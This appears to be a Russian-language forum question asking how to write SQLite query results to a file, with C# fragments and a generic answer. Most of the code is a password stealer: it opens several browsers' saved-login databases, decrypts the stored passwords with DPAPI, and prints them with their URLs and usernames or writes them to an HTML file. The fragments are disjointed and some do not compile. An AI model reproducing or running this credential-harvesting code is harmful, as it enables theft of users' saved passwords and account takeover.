Sqlite - Как записать данные в файл?

using System;
using System.Data;
using System.Data.SQLite;
using System.Security.Cryptography;
using System.Text;
 
public partial class GetPSWEngine
{
    private static string query = "SELECT origin_url, username_value, password_value FROM logins";
    private static SQLiteConnection con;
    private static SQLiteDataReader reader;
    private static int i = 0;
    public static void EngineChrome()
    {
        for (int y = 0; y < ListEngine.Browsers.Count; y++) // ListEngine ( цикл где собираются файлы LoginData и ниже расшифровка.
        {
            try
            {
                using (con = new SQLiteConnection(string.Format(@"Data Source={0};Version=3;New=False;Compress=True;", ListEngine.Browsers[y]))) // подключение к каждому файлу
                {
                    con.Open();
                    using (var cmd = new SQLiteCommand(con))
                    {
                        cmd.CommandText = query;
                        cmd.CommandType = CommandType.Text;
                        using (reader = cmd.ExecuteReader())
                            do
                            {
 
                                if (!string.IsNullOrEmpty(reader["username_value"].ToString()))
                                {
                                    byte[] decrypted = ProtectedData.Unprotect((byte[])reader["password_value"], null, DataProtectionScope.LocalMachine);
                                    Console.WriteLine(reader["username_value"].ToString());
                                    Console.WriteLine(Encoding.ASCII.GetString(decrypted));
                                    Console.WriteLine(reader["origin_url"].ToString());
                                    i++;
                                }
                            } while (reader.Read()); cmd.Dispose();
                    }
                }
                con.Close();
            }
            catch (SQLiteException ex) { Console.Write(ex.Message); }
            finally { con.Close(); }
        }
    }
}

public static SQLiteConnection connection;
public static SQLiteDataReader reader;
 
using (connection = new SQLiteConnection("DataSource=" + EngineChrome.browsers[y] + ";Version=3;New=True;Compress=True;"))
                {
                    connection.Open();
                    SQLiteCommand command = new SQLiteCommand("SELECT * FROM logins", connection);
                    using (reader = command.ExecuteReader())
                    {
                        string host = null;
                        string user = null;
                        string pass = null;
                        while (reader.Read())
                        {
 
                            host = reader["origin_url"].ToString();
                            user = reader["username_value"].ToString();
                            pass = Chrome.Decrypt(Encoding.Default.GetBytes(reader["password_value"].ToString()));
                            if (!String.IsNullOrEmpty(host) && !String.IsNullOrEmpty(user) && !String.IsNullOrEmpty(pass))
                            {
                                Console.WriteLine("{0},{1},{2}",host,user,pass);
                            }
                        }
                    }
                }

StringBuilder htm = new StringBuilder

using (StreamWriter vas = new StreamWriter(PathToWrite, true, Encoding.UTF8))
    {
        vas.WriteLine(htm.ToString());
    }

while (reader.Read())

private static StringBuilder htm = new StringBuilder(string.Empty);
public static void GetAllEngine()
{
string URL;
string UserName;
string Password;
using (Reader = cmd.ExecuteReader())
{
    string URL;
    string UserName;
    string Password;
    while (Reader.Read())
    {
      if (!string.IsNullOrEmpty(Reader["username_value"].ToString()))
         {
              URL = Reader["origin_url"].ToString();
              UserName = Reader["username_value"].ToString();
              Password = BlobDecrypt.DecryptBlob((byte[])Reader["password_value"]);
 
             htm.AppendFormat("<td>{0}</td>", URL);
             htm.AppendFormat("<td>{0}</td>", UserName);
             htm.AppendFormat("<td>{0}</td>", Password);
         }
    }
}
        using (StreamWriter vas = new StreamWriter(PathToWrite, true, Encoding.UTF8))
        {
            vas.WriteLine(htm.ToString());
        }
}

for (int y = 0; y < ListEngine.Browsers.Count; y++)

using System;
using System.Data.SQLite;
using System.IO;
using System.Text;
 
namespace chaleureux
{
    class Program
    {
        static void Main(string[] args)
        {
            SQLiteConnection.CreateFile("database.sqlite");
 
            using (var connection = new SQLiteConnection("Data Source=database.sqlite;Version=3;"))
            {
                connection.Open();
 
                // Create table
                string sqlCreateTable = "create table sample (name varchar(20), value int)";
 
                using (var cmdCreateTable = new SQLiteCommand(sqlCreateTable, connection))
                {
                    cmdCreateTable.ExecuteNonQuery();
                }
 
                // Fill table
                using (var cmdInsert = new SQLiteCommand("insert into sample (name, value) values (@name, @value);", connection))
                {
                    SQLiteParameter paramName = new SQLiteParameter("@name", System.Data.DbType.String, 20);
                    SQLiteParameter paramValue = new SQLiteParameter("@value", System.Data.DbType.Int32);
                    cmdInsert.Parameters.Add(paramName);
                    cmdInsert.Parameters.Add(paramValue);
 
                    for (int i = 0; i < 10; i++)
                    {
                        paramName.Value = String.Format("Имя_{0}", i);
                        paramValue.Value = i;
                        cmdInsert.ExecuteNonQuery();
                    }
                }
 
                // Read table
                using (var cmdSelect = new SQLiteCommand("select * from sample;", connection))
                {
                    // Writer to file
                    using (var writer = new StreamWriter("file.txt", false, Encoding.UTF8))
                    {
                        using (var reader = cmdSelect.ExecuteReader())
                        {
                            while (reader.Read())
                            {
                                writer.WriteLine("Name: {0}, Value: {1}", reader.GetValue(0), reader.GetValue(1));
                            }
                        }
                    }
                }
 
                connection.Close();
            }
        }
    }
}